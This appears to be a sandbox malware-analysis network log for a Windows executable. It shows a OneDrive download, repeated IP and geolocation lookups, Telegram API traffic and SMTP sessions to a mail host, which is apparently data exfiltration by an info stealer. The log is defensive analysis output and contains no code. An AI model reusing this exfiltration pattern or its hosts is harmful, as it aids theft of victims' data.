Nov 12, 2024 07:37:01.014020920 CET	49728	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:01.018755913 CET	80	49728	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:02.744673014 CET	80	49728	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:02.746474981 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:02.746507883 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:02.746613979 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:02.746942997 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:02.746961117 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:02.796297073 CET	49728	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:03.346960068 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:03.348629951 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:03.348649979 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:03.489451885 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:03.489527941 CET	443	49729	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:03.489578009 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:03.489996910 CET	49729	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:03.508493900 CET	49728	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:03.513523102 CET	80	49728	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:03.513575077 CET	49728	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:03.519639969 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:03.519681931 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:03.519764900 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:03.520170927 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:03.520184994 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.366983891 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.367146015 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:04.369152069 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:04.369178057 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.369440079 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.370928049 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:04.415342093 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.603197098 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.603272915 CET	443	49730	149.154.167.220	192.168.2.8
Nov 12, 2024 07:37:04.603337049 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:04.603852034 CET	49730	443	192.168.2.8	149.154.167.220
Nov 12, 2024 07:37:10.236033916 CET	49718	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:10.559000015 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:10.563882113 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:10.564011097 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:11.544866085 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:11.545109987 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:11.549978971 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:11.808736086 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:11.809822083 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:11.814698935 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.073113918 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.073576927 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:12.078522921 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.386077881 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.386405945 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:12.392594099 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.651034117 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.651307106 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:12.656174898 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.938110113 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:12.938277006 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:12.943171024 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.201390982 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.202212095 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:13.202358007 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:13.202430010 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:13.202430010 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:37:13.207062006 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.207108021 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.207223892 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.207384109 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.207395077 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.806675911 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:37:13.858788967 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:38:50.484103918 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:38:50.488924026 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:38:50.947993040 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:38:50.948240042 CET	49731	587	192.168.2.8	37.27.123.72
Nov 12, 2024 07:38:50.953289986 CET	587	49731	37.27.123.72	192.168.2.8
Nov 12, 2024 07:38:50.953533888 CET	49731	587	192.168.2.8	37.27.123.72

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 07:36:39.546437025 CET	63284	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:36:40.738440990 CET	51494	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:36:44.697698116 CET	53694	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:36:44.704377890 CET	53	53694	1.1.1.1	192.168.2.8
Nov 12, 2024 07:36:48.542031050 CET	50867	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:36:48.549071074 CET	53	50867	1.1.1.1	192.168.2.8
Nov 12, 2024 07:37:00.247168064 CET	65429	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:37:00.253770113 CET	53	65429	1.1.1.1	192.168.2.8
Nov 12, 2024 07:37:03.509319067 CET	58379	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:37:03.518946886 CET	53	58379	1.1.1.1	192.168.2.8
Nov 12, 2024 07:37:10.467545033 CET	62907	53	192.168.2.8	1.1.1.1
Nov 12, 2024 07:37:10.557713032 CET	53	62907	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 07:36:39.546437025 CET	192.168.2.8	1.1.1.1	0x47fd	Standard query (0)	api.onedrive.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:40.738440990 CET	192.168.2.8	1.1.1.1	0x2133	Standard query (0)	fa2ytg.dm.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:44.697698116 CET	192.168.2.8	1.1.1.1	0x976b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:48.542031050 CET	192.168.2.8	1.1.1.1	0xb076	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:00.247168064 CET	192.168.2.8	1.1.1.1	0xb7e9	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:03.509319067 CET	192.168.2.8	1.1.1.1	0x42a1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:10.467545033 CET	192.168.2.8	1.1.1.1	0xe450	Standard query (0)	mail.foodex.com.pk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 07:36:39.553090096 CET	1.1.1.1	192.168.2.8	0x47fd	No error (0)	api.onedrive.com	common-afdrk.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:36:39.553090096 CET	1.1.1.1	192.168.2.8	0x47fd	No error (0)	common-afdrk.fe.1drv.com	odc-commonafdrk-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:36:40.788109064 CET	1.1.1.1	192.168.2.8	0x2133	No error (0)	fa2ytg.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:36:40.788109064 CET	1.1.1.1	192.168.2.8	0x2133	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:44.704377890 CET	1.1.1.1	192.168.2.8	0x976b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:48.549071074 CET	1.1.1.1	192.168.2.8	0xb076	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:36:48.549071074 CET	1.1.1.1	192.168.2.8	0xb076	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:00.253770113 CET	1.1.1.1	192.168.2.8	0xb7e9	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:00.253770113 CET	1.1.1.1	192.168.2.8	0xb7e9	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:03.518946886 CET	1.1.1.1	192.168.2.8	0x42a1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 12, 2024 07:37:10.557713032 CET	1.1.1.1	192.168.2.8	0xe450	No error (0)	mail.foodex.com.pk	foodex.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 07:37:10.557713032 CET	1.1.1.1	192.168.2.8	0xe450	No error (0)	foodex.com.pk		37.27.123.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49715	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:44.722284079 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:36:45.402075052 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 97414ebf9edf69bcc3980194983cee36 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 07:36:45.417691946 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 07:36:47.658318043 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Tue, 12 Nov 2024 06:36:47 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 15255f87403a740c92d2139f634fa564 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 12, 2024 07:36:47.682495117 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 07:36:48.225405931 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:48 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e1ad9b294442f0d17e6bb703a52e2c87 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 07:36:49.381944895 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 07:36:49.542319059 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:49 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8ac156380a8e64f0ddce47e0cd5098f8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 07:36:49.772830009 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:49 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8ac156380a8e64f0ddce47e0cd5098f8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49718	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:50.322083950 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 07:36:51.645483017 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 04264fd8a3a4948c8371a9db31b0a83b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49720	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:52.402673006 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:36:53.094225883 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:53 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7a7c8b35689292caa9d71d0274172e1c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49722	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:53.858944893 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:36:54.510622978 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:54 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5903d59eacd98c88210978133145dfc8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49724	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:55.265676975 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:36:56.994812012 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8dd2abe7dd26a1ce071f7ffec75f2eb6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49726	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:36:57.775499105 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:37:00.246047974 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:37:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 07102b136d0ae98c03aef04928ebc03b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49728	193.122.130.0	80	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 07:37:01.014020920 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 07:37:02.744673014 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:37:02 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d0a990db193ecbadeeea9913152c69b9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:49 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:36:49 UTC	854	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:49 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14632 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wwk97iwd4CWPZOkUw1pSWXtUIwocWFcigmVogmD%2BJQW8gsIu%2FviPHeOH%2BhuJEk%2Fkbz63znweH7ZgUl0OV8Gp2SzL3ABa2ZwO80eNuAUFR486dSvl%2Bk9XT8EjSxnXnbjVI9xIhnA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e148287bd8a4799-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1876&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1547835&cwnd=247&unsent_bytes=0&cid=c199c2a92c927df2&ts=222&x=0"
2024-11-12 06:36:49 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 